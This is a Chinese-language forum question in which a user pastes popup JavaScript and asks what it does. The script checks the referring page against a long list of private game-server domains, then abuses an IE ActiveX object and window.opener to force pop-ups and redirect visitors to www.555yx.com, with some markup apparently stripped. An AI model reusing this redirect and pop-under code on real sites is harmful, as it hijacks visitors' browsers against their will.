高手们看看这种弹窗代码都是起了什么作用
代码如下，此代码的后面有退弹的效果但是代码前面的就看不懂什么意思了
比如代码中挂的这些域名sf9.com sf99.com等等
var ParentUrl=document.referrer;
if(document.referrer!=""||ParentUrl.indexOf("sf9.com")!=-1||ParentUrl.indexOf("sf99.com")!=-1||ParentUrl.indexOf("haofu.com")!=-1||ParentUrl.indexOf("haohj.com")!=-1||ParentUrl.indexOf("sf123.cc")!=-1||ParentUrl.indexOf("15sf.com")!=-1||ParentUrl.indexOf("wg888.com")!=-1||ParentUrl.indexOf("95sf.com")!=-1||ParentUrl.indexOf("hj123.com")!=-1||ParentUrl.indexOf("sf666.com")!=-1||ParentUrl.indexOf("66sf.com")!=-1||ParentUrl.indexOf("92gg.com")!=-1||ParentUrl.indexOf("zhaosf.cm")!=-1||ParentUrl.indexOf("chisf.com")!=-1||ParentUrl.indexOf("55hj.com")!=-1||ParentUrl.indexOf("yaosf.com")!=-1||ParentUrl.indexOf("zhaofg.com")!=-1||ParentUrl.indexOf("88858.com")!=-1||ParentUrl.indexOf("941f.com")!=-1||ParentUrl.indexOf("baidu.com")!=-1||ParentUrl.indexOf("pk999.com")!=-1||ParentUrl.indexOf("003is.com")!=-1||ParentUrl.indexOf("33345.com")!=-1||ParentUrl.indexOf("01sf.com")!=-1||ParentUrl.indexOf("sf78.com")!=-1||ParentUrl.indexOf("39k.com")!=-1||ParentUrl.indexOf("933gg.com")!=-1||ParentUrl.indexOf("haosf.cm")!=-1||ParentUrl.indexOf("30uc.com")!=-1||ParentUrl.indexOf("994f.com")!=-1||ParentUrl.indexOf("80sf.com")!=-1||ParentUrl.indexOf("123sf.com")!=-1||ParentUrl.indexOf("222sf.com")!=-1||ParentUrl.indexOf("9175.com")!=-1||ParentUrl.indexOf("66sf.com")!=-1||ParentUrl.indexOf("06sf.com")!=-1||ParentUrl.indexOf("sf123.cc")!=-1||ParentUrl.indexOf("95sf.com")!=-1||ParentUrl.indexOf("qunxing180.com")!=-1||ParentUrl.indexOf("45youxi.com")!=-1||ParentUrl.indexOf("45fa.com")!=-1||ParentUrl.indexOf("tx179.com")!=-1||ParentUrl.indexOf("789f.com")!=-1||ParentUrl.indexOf("17ss.com")!=-1||ParentUrl.indexOf("88a.cm")!=-1||ParentUrl.indexOf("go.htm?")!=-1){
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function ext()
{
if(window.event.clientY<132 || altKey) iie.launchURL(popURL);
}
function brs()
{
document.body.innerHTML+="
";
}
var popURL = 'http://www.555yx.com';
eval("window.attachEvent('onload',brs);");
eval("window.attachEvent('onunload',ext);");
}else
{
document.write(unescape('
window.onload = function(){
if(top!=self){
var f = document.createElement("form");
f.action=location;
f.target="_parent";
document.body.appendChild(f);
f.submit();
}
};
'));
document.writeln("
document.write(unescape(\'
if(parent.window.opener) parent.window.opener.location='http:\/\/www.555yx.com/\/'; <\/SCRIPT>\'))<\/SCRIPT>");
document.writeln(" document.write(unescape(\'window.opener.parent.navigate("http://www.555yx.com/");
\'))<\/SCRIPT>");
};
用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
